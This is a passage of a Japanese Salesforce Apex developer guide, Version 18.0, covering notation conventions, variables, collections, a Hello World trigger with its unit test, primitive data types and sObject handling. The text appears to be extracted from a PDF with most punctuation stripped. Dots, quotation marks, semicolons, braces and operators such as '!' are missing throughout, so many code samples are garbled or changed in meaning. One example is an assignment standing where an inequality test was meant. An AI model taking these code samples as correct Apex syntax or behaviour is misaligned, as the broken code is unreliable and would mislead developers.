メモ Hello World スクリプトと納入先請求書の例ではカスタム項目およびオブジェクトが必要です項目やオブジェクトを自分で作成したりオブジェクト項目および Apex スクリプトを管理パッケージとして Forcecom AppExchange からダウンロードできます詳細はwikiapexdevnetcomindexphpDocumentation を参照してください

Apex ドキュメント表記規則Apex および Visualforce ドキュメントは次の表記規則を使用しています

説明規則

構文の記述においてmonospace フォントはかっこを除いて表示されたとおりに入力する必要のある項目を示します例Public class HelloWorld

Courier font

構文の記述においてイタリック体は変数を示します実際値を入力してください次の例では3 つの値を入力する必要があります

datatype variable_name [ = value]

Italics

構文の記述において不等号は (lt gt) そのまま入力しますltapexpageBlockTable value=accountContacts var=contactgtltapexcolumn value=contactNamegt ltapexcolumn

lt gt

value=contactMailingCitygt ltapexcolumnvalue=contactPhonegt ltapexpageBlockTablegt

シンタックスの説明では中かっこ ( ) は表示通りに入力しますltapexpagegt Hello $UserFirstNameltapexpagegt

Forcecom Apex コードの概要 Version 180 | 最新情報 | 16

説明規則

構文の記述において大かっこに囲まれているものはオプションです次の例では valueの指定はオプションです

datatype variable_name [ = value]

[ ]

構文の記述において「または」を意味します次のいずれか (すべてではない) を実行できます次の例では2 つのいずれかの方法で未投入のセットを作成するかセットを投入することができますSetltdatatypegt set_name [= new Setltdatatypegt()] | [= newSetltdatatypevalue [ value2 ] ] |

|

Apex の主要な概念について一般的なApexスクリプトにはその他のプログラミング言語でよく知られている多くのことが含まれています

図 3 Apex のプログラミング要素

ここではApex の基本機能および主要な概念の一部について説明しています

バージョン設定の使用

Salesforcecomユーザインターフェースで保存するApexクラスまたはトリガに対して Salesforcecom APIのバージョンを指定できますこの設定は使用する Forcecom Web サービス API だけではなくApex バージョンも示します保存した後バージョンを変更できます各クラス名またはトリガ名は一意でなければなりません異なるバージョンに対して同じクラスまたはトリガを保存することはできません

Forcecom Apex コードの概要 Version 180 | Apex の主要な概念について | 17

バージョン設定を使用してクラスまたはトリガをAppExchangeから組織にインストールした管理パッケージの特定のバージョンと関連付けることができます管理パッケージのこのバージョンはより新しいバージョンの管理パッケージがインストールされてもバージョン設定を手動で更新しない限りクラスまたはトリガによって引き続き使用されますインストール済み管理パッケージを設定リストに追加するには使用可能なパッケージのリストからパッケージを選択しますリストはクラスまたはトリガにまだ関連付けられていないインストール済み管理パッケージがある場合にのみ表示されます

管理パッケージでのバージョン設定の使用の詳細はSalesforcecomオンラインヘルプの「パッケージバージョンとは」を参照してください

変数メソッドおよびクラスの命名

変数メソッドまたはクラスを命名する場合Apex の予約キーワードを使用することはできませんこれらにはlisttestまたは account予約キーワードなどApex および Forcecom プラットフォームの一部である語が含まれます

変数および式の使用

Apex は強力に型付けされた言語ですつまり最初に参照するときに変数のデータ型を宣言する必要がありますApex データ型にはIntegerDateBoolean の基本のデータ型またリストマップオブジェクトおよび sObjects など高度なデータ型があります

変数は名前およびデータ型で宣言されます宣言する場合値を変数に割り当てることができますまた後で値を代入してもかまいません変数を宣言する場合次の構文を使用します

datatype variable_name [ = value]

ヒント 上記の末尾にあるセミコロンはオプションではありませんステートメントの最後には必ずセミコロンを使用します

次の例は変数の宣言を示しています

次の変数は Count という名前でデータ型は Integer 値は 0 です Integer Count = 0 次の変数名は Totalデータ型は Decimal ですNote 値は割り当てられていませんDecimal Total 次の変数は取引先で sObject として参照されますAccount MyAcct = new Account()

Forcecom Apex コードの概要 Version 180 | Apex の主要な概念について | 18

すべての非プリミティブデータ型が参照によって渡されますがすべてのプリミティブ変数は値によって渡されます

ステートメントの使用

ステートメントは操作を実行するコード化された指示です

Apex の場合ステートメントの末尾にセミコロンを使用し次の種類のいずれかとなります

bull 代入 (値を変数に割り当てるなど)bull 条件 (if-else)bull ループ

- Do-while- While- 対象

bull ロックbull データ操作言語 (DML)bull トランザクションの制御bull メソッド呼び出しbull 例外処理

ブロックは中かっこでまとめられる一連のステートメントです単一のステートメントが使用できる場所ならどこでも使用することができます例

if (true) Systemdebug(1) Systemdebug(2) else Systemdebug(3) Systemdebug(4)

ブロックが 1 つのステートメントだけで構成されている場合中かっこはなくなります例

if (true) Systemdebug(1) else Systemdebug(2)

コレクションの使用

Apex には次のようなコレクションがあります

bull リスト (配列)bull Mapbull セット

リストはIntegerStringオブジェクトその他のコレクションなど要素のコレクションです要素の順序が重要な場合にリストを使用しますリスト内に重複した要素を持つことができます

リスト内の最初の索引の位置は必ず 0 になります

リストを作成する手順は次のとおりです

bull newキーワードを使用しますbull ltgt文字で囲んだ要素の種類の前に Listキーワードを使用します

次の構文を使用してリストを作成します

List ltdatatypegt list_name [= new Listltdatatypegt()] | [=new Listltdatatypegtvalue [ value2 ]] |

Forcecom Apex コードの概要 Version 180 | Apex の主要な概念について | 19

次の例では Integer のリストを作成し変数 My_Listに割り当てますApex は強力に型付けされているためMy_Listのデータ型を Integer のリストとして宣言する必要があります

ListltIntegergt My_List = new ListltIntegergt()

詳細は「リスト」 (ページ 34)を参照してください

セットは順不同の要素のコレクションですセット内の各要素は一意である必要がありますセットにはStringIntegerDate などプリミティブデータ型のみ含まれますオブジェクトなどのより複雑なデータ型を含めることはできません

セットを作成する手順は次のとおりです

bull newキーワードを使用しますbull ltgt文字で囲んだプリミティブデータ型の前に Setキーワードを使用します

次の構文を使用してセットを作成します

Setltdatatypegt set_name [= new Setltdatatypegt()] | [= new Setltdatatypevalue [ value2 ] ] |

次の例ではString のセットを作成しますセットの値は中かっこ を使用して渡されます

SetltStringgt My_String = new SetltStringgta b c

詳細は「セット」 (ページ 35)を参照してください

マップはキー-値のペアのコレクションですキーにはプリミティブデータ型が含まれます値はプリミティブデータ型オブジェクトやその他のコレクションとなりますキーによって何か検索する場合はマップを使用しますマップ内のでは重複する値を持つことはできますが各キーは一意である必要があります

マップを作成する手順は次のとおりです

bull newキーワードを使用しますbull ltgt文字で囲みカンマで区切ったキー-値の前に Mapキーワードを使用します

次の構文を使用してマップを作成します

Mapltkey_datatype value_datatypegt map_name [=new mapltkey_datatype value_datatypegt()] |[=new mapltkey_datatype value_datatypegt key1_value =gt value1_value [ key2_value =gtvalue2_value ]] |

次の例ではキーのデータ型が Integer値が String というマップを作成しますこの例でマップが作成されると中かっこ の間にマップの値が渡されます

MapltInteger Stringgt My_Map = new MapltInteger Stringgt1 =gt a 2 =gt b 3 =gt c

詳細は「マップ」 (ページ 36)を参照してください

Forcecom Apex コードの概要 Version 180 | Apex の主要な概念について | 20

条件分岐の使用

ifステートメントはアプリケーションが条件に基づいてさまざまなことを実行できる真-偽のテストです基本構文は次のとおりです

if (Condition) 真の場合はこれを実行 else 真でない場合はこれを実行

詳細は「条件 (If-Else) ステートメント」 (ページ 51)を参照してください

ループの使用

ifステートメントを使用するとアプリケーションは条件に基づいて操作を実行できますがループはアプリケーションに条件にも続いて同じ事を繰り返し実行するよう指示しますApex は次のようなループがあります

bull Do-whilebull Whilebull 対象

Do-while ループはコードが実行された後条件をチェックします

While ループはコードが実行される前開始時に条件をチェックします

Forループを使用するとループ内で使用される条件をより詳細に制御できますまたApexでは条件を設定する従来の For ループ条件の一部としてリストおよび SOQL クエリを使用する For ループを使用できます

詳細は「ループ」 (ページ 51)を参照してください

最初の Apex スクリプトの作成次の「Hello World」の例ではApex の基本概念の大部分について説明していますこの例ではHelloというカスタム Account 項目が新しい取引先が作成されると値としてのテキスト「World」で更新されます

メモ この例はユーザが Salesforcecom アプリケーションに慣れており標準の取引先オブジェクトにHelloというカスタムテキスト項目を定義していると想定しています詳細はSalesforcecom オンラインヘルプの「項目とリレーションの追加」を参照してください

この画像は取引先が作成された後の Account 詳細ページにある空の Hello項目を示しています

図 4 値のない Hello 項目

Forcecom Apex コードの概要 Version 180 | 最初の Apex スクリプトの作成 | 21

値「World」で自動的にこの項目を更新するには[設定」 [開発] [Apex クラス] をクリックし[新規] をクリックした後 [Body]テキストボックスに次のコードを入力します

このクラスは取引先レコードの Hello 項目を更新して クラスに渡します public class MyHelloWorld

public static void addHelloWorld(Account[] accs)

for (Account aaccs) if (aHello__c = World) aHello__c = World

入力後必ず [保存] をクリックしてください

コードの最初の行は次のようになります

public class MyHelloWorld

Apex スクリプトは通常クラスに含まれていますこのクラスでは publicと定義されているため他の Apexスクリプトから使用できます詳細は「クラスオブジェクトおよびインターフェース」 (ページ 84)を参照してください

コードの 2 番目の行からメソッド定義が始まります

public static void addHelloWorld(Account[] accs)

このメソッドは addHelloWorldと呼ばれ公開かつ静的メソッドですこれは静的メソッドであるためクラスのインスタンスを作成してメソッドにアクセスする必要はありませんこのメソッドにアクセスするにはカンマ()の前にクラス名をそしてメソッド名を指定します詳細は「静的およびインスタンス」 (ページ93)を参照してください

このメソッドでは 1 つのパラメータAccount レコードのリストを使用しますこれは変数 accsに割り当てられます

コードの次の項ではメソッド定義の残りが記述されています

for (Account aaccs) if (aHello__c = World) aHello__c = World

フィールド名の後に __cを記述しHello__cとしますここではそれがカスタム項目つまり自分で作成した項目であることを示しますSalesforcecom のデフォルトで提供されている標準項目には__cを使用せずAccountnameのように同じ種類のドット表記を使用して アクセスします

この部分のコードを実行するためにこの例ではトリガという Apex コンポーネントを使用しますトリガはForcecom プラットフォームデータベースの特定の種類のレコードが挿入更新または削除される前後で実行するコードの一部ですすべてのトリガはトリガを発生したレコードにアクセスするためのコンテキスト変数と共に実行されますすべてのトリガは一括処理(bulk)から呼ばれるため複数のレコードを一度に処理する必要があります

次のトリガは Account オブジェクトと関連しHelloWorldクラスで定義した addHelloWorldメソッドをコールしますこのトリガを組織に追加するには[設定] [カスタマイズ] [取引先] [トリガ] をクリックし[新規] をクリックして次のコードに入力しテンプレートで自動的に生成されたものを置き換えます

trigger helloWorldAccountTrigger on Account (before insert)

Account[] accs = Triggernew

Forcecom Apex コードの概要 Version 180 | 最初の Apex スクリプトの作成 | 22

MyHelloWorldaddHelloWorld(accs)

コードの最初の行はトリガを定義します

trigger helloWorldAccountTrigger on Account (before insert)

トリガに名前を指定し処理するオブジェクトを指定し発生させるイベントを定義しますたとえばこのトリガは新しい取引先レコードがデータベースに追加される前に実行します

トリガの次の行はaccsという名前の取引先レコードのリストを作成しTriggernewというトリガコンテキスト変数の内容を割り当てますTriggernewなどのトリガコンテキスト変数はすべてのトリガで暗黙的に定義されトリガを発生させるレコードへにアクセスできますこの場合Triggernewには挿入される新しい取引先がすべて含まれています

Account[] accs = Triggernew

コードの次の行はMyHelloWorldクラスのメソッド addHelloWorldをコールします新しい取引先の配列に渡します

MyHelloWorldaddHelloWorld(accs)

このコードは before insertトリガイベントで実行されるため新しいレコードを作成してコードを実行する必要があります新しいレコードを作成するには[取引先] タブをクリックして [新規]をクリックし新しい取引先をクリックします必須項目は名前だけです[保存] をクリックするとHello項目に「World」が入力されます

図 5 コード実行後Hello 項目に入力

Hello World プログラムへのテストの追加

テストとユニットテストは開発プロセスの重要な部分です

bull 少なくとも75の Apex スクリプトをユニットテストでカバーする必要がありますさらにすべてのトリガが一部のテスト範囲に含まれている必要があります

bull 100 のスクリプトを可能な場合はユニットテストでカバーすることをお勧めしますbull Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません

次の例では前の例で使用された同じクラスおよびトリガを使用します

Forcecom Apex コードの概要 Version 180 | 最初の Apex スクリプトの作成 | 23

テストをプログラムに追加するには新しいクラスを作成する必要がありますクラスを作成するには[設定] [開発] [Apex クラス] をクリックし[新規] をクリックしますクラスの [内容] テキストボックスでその次を入力します

isTest private class HelloWorldTestClass

static testMethod void validateHelloWorld() Account a = new Account(name=T1 Account) Insert account insert a

Retrieve account a = [SELECT hello__c FROM account WHERE Id =aid]

Test that HelloWorld program correctly added the value World to the Hello fieldSystemassertEquals(World ahello__c)

入力後必ず [保存] をクリックしてください

このクラスはアノテーション isTestを使用して定義しますそのようにして定義されたクラスにはテストメソッドのみが含まれますテストメソッドを既存のクラスに追加することに対しテスト用に個別のクラスを作成することの利点はisTestで定義されたクラスはすべての Apex スクリプトの 1 MB の組織の制限に対してカウントしないという点ですisTestアノテーションを個別のメソッドに追加することもできます詳細は「IsTest」 (ページ 109) および 「実行ガバナーと制限の理解」を参照してください

メソッド validateHelloWorldは testMethodとして定義されていますつまりデータベースに変更が行われている場合実行が完了すると自動的にロールバックされます

まずテストメソッドは新しい取引先を作成しデータベースに一時的に挿入します

Account a = new Account(name=T1 Account) Insert account insert a

取引先が挿入されると挿入時に取引先に割り当てられていた ID を使用してコードは取引先を取得します

Retrieve account a = [SELECT hello__c FROM account WHERE Id =aid]

HelloWorldクラスを実行すると「World」という言葉が hello__c項目に挿入されます次の行は実際のテストでメソッド addHelloWorldが実際に実行しているかを検証し予期した結果を作成します

Test that HelloWorld program correctly added the value World to the Hello fieldSystemassertEquals(World ahello__c)

このユニットテストを実行するには[設定] [開発] [Apex クラス] をクリックしクラス名HelloWorldTestClassをクリックして[テストを実行] をクリックします

ユニットテストの実行結果ページには次のセクションがあります各セクションは展開したり折りたたんだりできます

bull テストランの回数失敗の回数ユニットテストが網羅する Apex スクリプトの割合を詳細に示す概要セクション

重要

- 少なくとも75の Apex スクリプトをユニットテストでカバーする必要がありますさらにすべてのトリガが一部のテスト範囲に含まれている必要があります

- 100 のスクリプトを可能な場合はユニットテストでカバーすることをお勧めします- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされま

せん

Forcecom Apex コードの概要 Version 180 | 最初の Apex スクリプトの作成 | 24

bull テストの失敗回数 (発生した場合)bull コードカバー率セクション

このセクションでは組織のすべてのクラスおよびトリガおよびテストの対象となる各クラスおよびトリガのコードの行の割合を一覧表示しますカバー率の数値をクリックするとページが表示されテストの対象となるクラスまたはトリガのコードの行がすべて青でまたテストの対象外であるコードのすべての行が赤で強調表示されますまたクラスまたはトリガの特定の行がテストで実行された回数も表示されます

bull テストカバー率の警告 (発生した場合)bull デバッグログ

デバッグログは自動的に特定のログレベルとカテゴリに設定されます変更はできません

レベルCategory

INFOデータベースFINEApex コードINFOApex プロファイリングINFOワークフローINFOValidation

次は結果ページの前半の例です

図 6 HelloWorldTest 結果ページ

Forcecom Apex コードの概要 Version 180 | 最初の Apex スクリプトの作成 | 25

第 2 章

言語構造

次の言語構造はApex の基本部分を形成しますトピック

bull データ型bull データ型bull 変数bull 変数bull 式bull 式bull 代入ステートメントbull 代入ステートメントbull 条件 (If-Else) ステートメントbull 条件 (If-Else) ステートメントbull ループbull ループbull SOQL および SOSL クエリbull SOQL および SOSL クエリbull ロックするステートメント

bull ロックするステートメント bull トランザクションの制御bull トランザクションの制御 bull 例外ステートメントbull 例外ステートメント

Apex スクリプトはトリガまたはクラスのいずれかに含まれています詳細は「トリガ」 (ページ 65)および「クラスオブジェクトおよびインターフェース」 (ページ 84)を参照してください

データ型

Apex の場合すべての変数および式には次のいずれかのデータ型があります

bull IntegerDoubleLongDateDatetimeStringIDまたは Boolean (プリミティブデータ型 (ページ 27)を参照) などのプリミティブデータ型

bull AccountContactまたは MyCustomObject__c など汎用 sObject または特定 sObject としての sObject (「sObject型」 (ページ 30)を参照)

bull コレクション

- プリミティブsObjectsユーザ定義のオブジェクトApex から作成されたオブジェクトまたはコレクションのリストまたは配列 (リスト (ページ 34))

- プリミティブデータ型のセット (「セット」 (ページ 35)を参照)- プリミティブからプリミティブsObject またはコレクションへのマップ (「マップ」 (ページ 36)を参照)

bull enum など値の型が決まったリスト (see 「Enum」 (ページ 38)を参照)bull ユーザー定義のApexクラスから作成されるオブジェクト (「クラスオブジェクトおよびインターフェース」

(ページ 84)を参照)bull システムによって提供された Apex クラスから作成されるオブジェクト (「Apex クラス」 (ページ 300)を参照)bull Null (任意の変数に割り当てることができる null定数)

メソッドは上記のいずれかのデータ型を返すかまたは値を返さない Void となります

データ型チェックはコンパイル時に行われますたとえばデータ型 Integer のオブジェクト項目に String の値が割り当てられるとパーサーはエラーを生成しますただしすべてのコンパイル時の例外はエラーの行番号および列番号を記載した特定の障害コードとして返されます詳細は「Apex のデバッグ」を参照してください

プリミティブデータ型Apex はForcecom Web サービス API と同じプリミティブデータ型を使用しますすべてのプリミティブデータ型は参照ではなく値によって渡されます

Apex プリミティブデータ型には次のとおりです

説明データ型

単一のオブジェクトとして保存されるバイナリデータ型のコレクションtoString

メソッドおよび valueOfメソッドを使用してこのデータ型をそれぞれ String にBlob

または String から変換できますBlobs は Web サービス引数として受け入れられドキュメント (ドキュメントの本文は Blob) に保存され添付ファイルとして送信されます詳細は「Cryptoクラス」 (ページ 359)を参照してください

truefalsenullのみを割り当てることができる値例

Boolean isWinner = true

Boolean

言語構造 Version 180 | データ型 | 27

説明データ型

特定の日を示す値Datetime 値と異なりDate 値に時間に関する情報は含まれていませんDate は必ずシステム静的メソッドを使用して作成する必要があります

まれに Date 変数に数値を追加して日付の追加などDate 値を処理することはできませんDate メソッドを使用する必要があります

Date

タイムスタンプなど特定の日と時刻をを示す値Datetime は必ずシステム静的メソッドを使用して作成する必要があります

まれに Datetime 変数に数値を追加して分の追加などDatetime 値を処理することはできませんDatetime メソッドを使用する必要があります

Datetime

小数を示す数値Decimal は任意の精度数です通貨項目には自動的にデータ型Decimal が割り当てられます

明示的に scaleつまり小数部分の桁数を設定しない場合setScaleメソッドを使用する Decimal に対しスケールは Decimal が作成された項目によって決まります

Decimal

bull Decimal がクエリの一部として作成される場合スケールはクエリから返される項目のスケールに基づきます

bull Decimal が String から作成される場合スケールは String の小数点の後の文字数となります

bull Decimal が小数以外の数値から作成される場合スケールは数値を String に変換し小数点以下の文字数を指定して決定します

小数を含む 64 ビットの数値Doubles の最小値は -263最大値は 263-1 です例

Double d=314159

Double

Doubles 特定の表記 (e) はサポートされていません

有効な 18 文字の Forcecom レコードの識別子例

ID id=00300000003T2PGAA0

ID

IDを 15 文字の値に設定するとApex は自動的に 18 文字の表現に変換します無効な ID値はランタイム例外により却下されます

小数を含まない 32 ビットの数値Integer の最小値は -2147483648最大値は2147483647 です例

Integer i = 1

Integer

言語構造 Version 180 | プリミティブデータ型 | 28

説明データ型

小数を含まない 64 ビットの数値Doubles の最小値は -263最大値は 263-1 ですInteger で提供されたものより広い値の範囲が必要な場合このデータ型を使用します例

Long l = 2147483648L

Long

単一引用符で囲まれた文字のセット例String s = The quick brown fox jumped over the lazy dog

文字列

文字列サイズ文字列には使用できる文字数の制限はありません代わりにヒープサイズの制限を使用してApex プログラムが大きくならないようにします

空の文字列と末尾の空白文字 sObject String 項目値は Web サービス API と同じ規則に従います空白は使用できず (nullのみ)先頭および末尾に空白文字を使用できませんデータベースの保存にはこれらの変換が必要です

それに対しApexの String は nullまたは空白となりますまた先頭と末尾に空白文字を使用することができます (メッセージを構築するために使用できます)

Solution sObject 項目の SolutionNote は特別なデータ型の String として処理しますHTML Solutions を有効にした場合この項目で使用される HTML タグはオブジェクトは作成または更新される前に検証されます無効な HTML が入力されるとエラーが投げられますこの項目で使用される JavaScript はオブジェクトが作成または更新される前に削除されます次の例ではSolution が詳細ページに表示されSolutionNote 項目は H1 HTML 形式を適用します

trigger t on Solution (before insert) Triggernew[0]SolutionNote=lth1gthellolth1gt

次の例ではSolution が詳細ページに表示されSolutionNote 項目はHelloGoodbyeのみを含みます

trigger t2 on Solution (before insert) Triggernew[0]SolutionNote= ltjavascriptgtHelloltjavascriptgtGoodbye

詳細はSalesforcecomオンラインヘルプの「HTML ソリューションとは 」を参照してください

エスケープシーケンス Apex のすべての String は SOQL 文字列と同じエスケープシーケンス (b (バックスペース)t (タブ)n (改行)f (改ページ)r (改行復帰) (二重引用符) (一重引用符)および (バックスラッシュ)) を使用します

比較演算子 Java と異なりApex の Strings では比較演算子 (===ltlt=gtおよび gt=) を使用できますApex は SOQL 比較セマンティックを使用するためStrings の結果はコンテキストユーザーのロケールに従って照合され大文字と小文字の区別はされません詳細は「演算子」 (ページ 42)を参照してください

String メソッド Java と同様String はさまざまな標準メソッドを使用して操作できます詳細は「String メソッド」を使用してください

言語構造 Version 180 | プリミティブデータ型 | 29

説明データ型

項目に割り当てた文字列値が長すぎる場合APIバージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

特定の時刻を示す値Time 値は必ずシステム静的メソッドを使用して作成する必要があります詳細は「Time メソッド」 (ページ 226)を参照してください

Time

また標準でない次の 2 つのプリミティブデータ型は変数またはメソッド型として使用できませんがシステム静的メソッドに表示されます

bull AnyTypevalueOf静的メソッドはデータ型 AnyType の sObject 項目を標準プリミティブデータ型に変換しますAnyType はForcecom プラットフォームで項目履歴管理表の sObject 項目専用で使用されます

bull CurrencyCurrencynewInstance静的メソッドはデータ型 Currency のリテラルを作成しますこのメソッドは SOQL および SOSL の WHERE句で独立して使用されsObject 通貨項目に対して絞り込みを行いますApex のその他のデータ型で Currency をインスタンス化できません

AnyType データ型の詳細は『Forcecom Web サービス API Developers Guide』のwwwsalesforcecomusdeveloperdocsapiindex_CSHhtmfield_typeshtm を参照してください

sObject 型この開発者ガイドではsObjectという用語はForcecomプラットフォームデータベースで保存できるオブジェクトのことを示しますsObject 変数はデータの行を示しオブジェクトのWeb サービスAPI名を使用してApexでのみ宣言できます例

Account a = new Account() MyCustomObject__c co = new MyCustomObject__c()

Web サービス API と同様Apex では汎用 sObject 抽象型を使用してオブジェクトを示しますsObject データ型は異なる種類の sObjects を処理するコードで使用できますsObjects は常にApexの参照によって渡されます

new演算子はコンクリート sObject 型を要求するためすべてのインスタンスは特定の sObjects です例

sObject s = new Account()

汎用 sObject 型と特定の sObject 型の間で投入を使用することもできます例

上記の例の汎用変数を 特定の取引先および取引先変数に投入します Account a = (Account)s 次はランタイムエラーを生成します Contact c = (Contact)s

sObjects はオブジェクトと同様に機能するため次のようになります

Object obj = s and a = (Account)obj

DML 操作は汎用 sObject データ型および正規の sObjects として宣言される変数を処理します

sObject 変数は nullに初期化されますがnew演算子を有効なオブジェクト参照に割り当てることができます例

Account a = new Account()

言語構造 Version 180 | sObject 型 | 30

新しい sObject をインスタンス化する場合開発者は最初の項目値にカンマで区切られた name = valueのペアを指定することもできます例

Account a = new Account(name = Acme billingcity = San Francisco)

Forcecom プラットフォームデータベースから既存の sObject へのアクセスの詳細は 「SOQL クエリおよびSOSL クエリ」 (ページ 55)を参照してください

メモ sObject の ID は読み取り専用の値で複製操作中にクリアされない限りまたはコンストラクタが割り当てられない限りApexで明示的に変更できませんForcecomプラットフォームはオブジェクトレコードが初めてデータベースに挿入されると ID 値を自動的に割り当てます詳細は「リスト」(ページ 34)を参照してください

カスタム表示ラベル

カスタムラベルは標準 sObjects ではありませんカスタムラベルの新規インスタンスを作成することはできませんカスタムラベルの値にはsystemlabellabel_nameを使用してのみアクセスできます例

String errorMsg = SystemLabelgeneric_error

カスタムラベルの詳細はSalesforcecom オンラインヘルプの「カスタムラベルの概要」を参照してください

sObject 項目へのアクセス

Java と同様sObject 項目は簡単なドット表記でアクセスまたは変更できます例

Account a = new Account() aname = Acme 取引先名項目にアクセスし割り当てます Acme

Created Byまたは Last Modified Dateなどシステムによって生成された項目は変更できません変更しようとするとApexランタイムエンジンはエラーを生成しますまた数式項目値およびコンテキストユーザーの読み取り専用のその他の項目の値も変更できません

汎用 sObject 型の場合Account など特定のオブジェクトではなくID 項目にのみ取得できます例

Account a = new Account(name = Acme billingcity = San Francisco) Insert a sObject s= [select id name from account where name = Acme limit 1] This is allowed ID id =sID The following lines result in errors when you try to save String x = sname sID= [select id from Account where name = Acme limit 1]

メモ 組織で個人取引先が有効になっている場合は法人取引先と個人取引先の 2 種類の取引先が使用できますスクリプトが nameを使用して新しい取引先を作成すると法人取引先が作成されますスクリプトが LastNameを使用する場合個人取引先を作成します

sObject に操作を実行する場合まず特定のオブジェクトに変換することをお勧めします例

Account a = new Account(name = Acme billingcity = San Francisco) Insert a sObject s= [select id name from account where name = Acme limit 1] ID id = sID AccountconvertedAccount = (Account)s convertedAccountname = Acme2 Update convertedAccountContact sal = new Contact(firstname = Sal account = convertedAccount)

言語構造 Version 180 | sObject 型 | 31

次の例はレコードのセットに SOSL をどのように使用してオブジェクトタイプを決定するかについて示しています汎用 sObject レコードを取引先担当者リードまたは取引先に変換すると項目をそれぞれ次のように変更できます

public class convertToCLA ListltContactgt contacts ListltLeadgt leads ListltAccountgt accounts

public void convertType(Integer phoneNumber) ListltListltsObjectgtgt results = [find4155557000 in phone fields returning contact(id phone firstname lastname) lead(idphone firstname lastname) account(id phone name)] sObject[] records =((ListltsObjectgt)results[0])

if (recordsisEmpty()) for (Integer i = 0 i lt recordssize() i++) sObject record =records[i] if (recordgetSObjectType() == ContactsObjectType) contactsadd((Contact)record) else if (recordgetSObjectType() == LeadsObjectType) leadsadd((Lead) record) else if (recordgetSObjectType() == AccountsObjectType) accountsadd((Account) record)

関係を介した sObject 項目へのアクセス

sObject レコードはID および関連する sObject の表現を示すアドレスという 2 つの項目でその他のレコードとの関係を示しますたとえばContact sObject にはデータ型 ID の AccountId項目と関連する Object 自体を示すデータ型 Account の Account項目があります

ID 項目を使用して連絡先と関連する取引先を変更しsObject 参照項目を使用して取引先のデータにアクセスすることができます参照項目はSOQL クエリまたは SOSL クエリの結果としてのみ投入されます (下記参照)

たとえばApex スクリプトは取引先と連絡先がお互いどのように関連しているか連絡先を使用して取引先の項目をどのように変更できるかを示しています

メモ 最も複雑な例を示すためにこのコードは本ガイドの後で説明される一部の要素を使用します

bull insertおよび updateの詳細は「挿入操作」 (ページ 192)および「更新操作」 (ページ 192)を参照してください

bull SOQL および SOSL の詳細は「SOQL クエリおよび SOSL クエリ」 (ページ 55)を参照してください

Account a = new Account(name = Acme) insert a レコードを挿入すると自動的に 値が ID 項目に割り当てられます Contact c = new Contact(lastName = Weissman) caccountId = aId 新しい連絡先は新しい取引先を示します insert c

SOQL クエリは投入された caccount など挿入された連絡先のデータにアクセスします field c =[select accountname from contact where id = cid]

両方のレコードの項目を連絡先によって変更できます caccountname = salesforcecom clastName= Roth

データベースを更新するには2 種類のレコードを 個別に更新する必要があります update c 連絡先の名前のみ変更します update caccount 取引先名を更新します

言語構造 Version 180 | sObject 型 | 32

メモ 表現 caccountnameは関係を切り返すその他の表現とともに変更されるときではなく値として読み込まれるときに若干異なる特性を表します

bull 値として読み込まれるときcaccountが null の場合 caccountnameは null を評価しますがNullPointerExceptionは生成しませんこのデザインにより開発者は null 値をチェックする必要があるという手間を省いて複数の関係をナビゲートできます

bull 変更されるときcaccountが null の場合caccountname は NullPointerExceptionを生成します

またsObject 項目キーは insertupdateまたは upsertとともに使用して外部 ID によって外部キーを解決します例

Account refAcct = new Account(externalId__c = 12345)

Contact c = new Contact(account = refAcct lastName = Kay)

insert c

新しい連絡先にexternal_idが「12345」である取引先と同じAccountIdを挿入しますそのような取引先がない場合挿入は失敗します

ヒント

たとえば次のコードは上記のコードと同一ですただしSOQL クエリを使用するためそれほど有効ではありませんこのコードが複数回コールされた場合SOQL クエリ最大数の実行制限に達する場合があります実行制限の詳細は「実行ガバナーと制限の理解」を参照してください

Account refAcct = [select id from Account where externalId__c=12345]

Contact c = new Contact(account = refAcctid)

Insert c

sObjects および項目の検証

Apex スクリプトが解析および検証される時すべての sObject および項目参照が実際のオブジェクト名および項目名に対して検証され無効な名前が使用されている場合解析時の例外が投げられます

またApex パーサーは埋め込み SOQL ステートメントおよび SOSL ステートメントおよびスクリプトの構文の両方で使用されているカスタムオブジェクトおよびカスタム項目を追跡します次のような変更によってApexスクリプトが無効になる場合プラットフォームを使用してユーザーが変更を行えないようにします

bull 項目名またはオブジェクト名の変更bull あるデータ型から別のデータ型への変換bull 項目またはオブジェクトの削除bull レコード共有項目履歴管理レコードの種類など特定の組織全体の変更

コレクションApex には次のようなコレクションがあります

bull リスト

言語構造 Version 180 | コレクション | 33

bull マップbull セット

メモ 保持できる項目の数については制限はありませんただしヒープサイズには制限があります

リスト

リストはプリミティブsObjectsユーザ定義のオブジェクトApex オブジェクトまたは他のコレクションの順序付けされ索引で区別されたコレクションですたとえば次の表には String のリストを視覚的に示しています

Index 5Index 4Index 3Index 2Index 1Index 0

PurpleBlueGreenYellowOrangeRed

リスト内の最初の要素の索引は必ず 0 となります

リストには他のコレクションを含めることができるため多次元的な定義が可能ですたとえばIteger のセットのリストのリストを作成できますリストではコレクションを 最大 5 段階ネストすることができます

リストを宣言するにはltgt文字で囲んだプリミティブデータ型sObjectネストされたリストマップセット型の前に Listキーワードを使用します例

String の空のリストを作成 ListltStringgt my_list = new ListltStringgt() ネスとされたリストを作成 ListltListltSetltIntegergtgtgt my_list_2 = new ListltListltSetltIntegergtgtgt() SOQL クエリから取引先レコードのリストを作成 ListltAccountgt accs = [SELECT Id Name FROM Account LIMIT 1000]

リストの要素にアクセスするにはApex で提供されたシステムメソッドを使用します例

ListltIntegergt MyList = new ListltIntegergt() 新しいリストを定義 MyListadd(47) 値 47 の 2 番目の要素を末尾に追加 of the list MyListget(0) index 0 で要素を取得 MyListset(0 1) 整数 1 を

index 0 のリストに追加 MyListclear() リストからすべての要素を削除

サポートされているメソッドの詳細は「List メソッド」 (ページ 227)を参照してくださいプリミティブまたは sObject の一次元リストの配列表記法の使用

プリミティブまたは sObjects の一次元リストを使用する場合従来の配列表記を使用してもリスト要素を宣言および参照することができますたとえば次のように [] 文字でデータ名または sObject 型名を囲んでプリミティブまたは sObject の一次元的リストを宣言することができます

String[] colors = new ListltStringgt()

プリミティブデータ型または sObjects の一次元リストの要素を参照するためにリスト名の後に要素の索引の位置を大かっこで囲んで表記します例

colors[3] = Green

言語構造 Version 180 | コレクション | 34

すべてのリストは nullに初期化されますリストには値を割り当てリテラル表記を使用してメモリを割り当てることができます例

説明例

要素のない Integer リストを定義しますListltIntegergt ints = new Integer[0]

要素のない Account リストを定義しますListltAccountgt accts = new Account[]

メモリを 6 つの Integer に割り当てた Integer リストを定義します

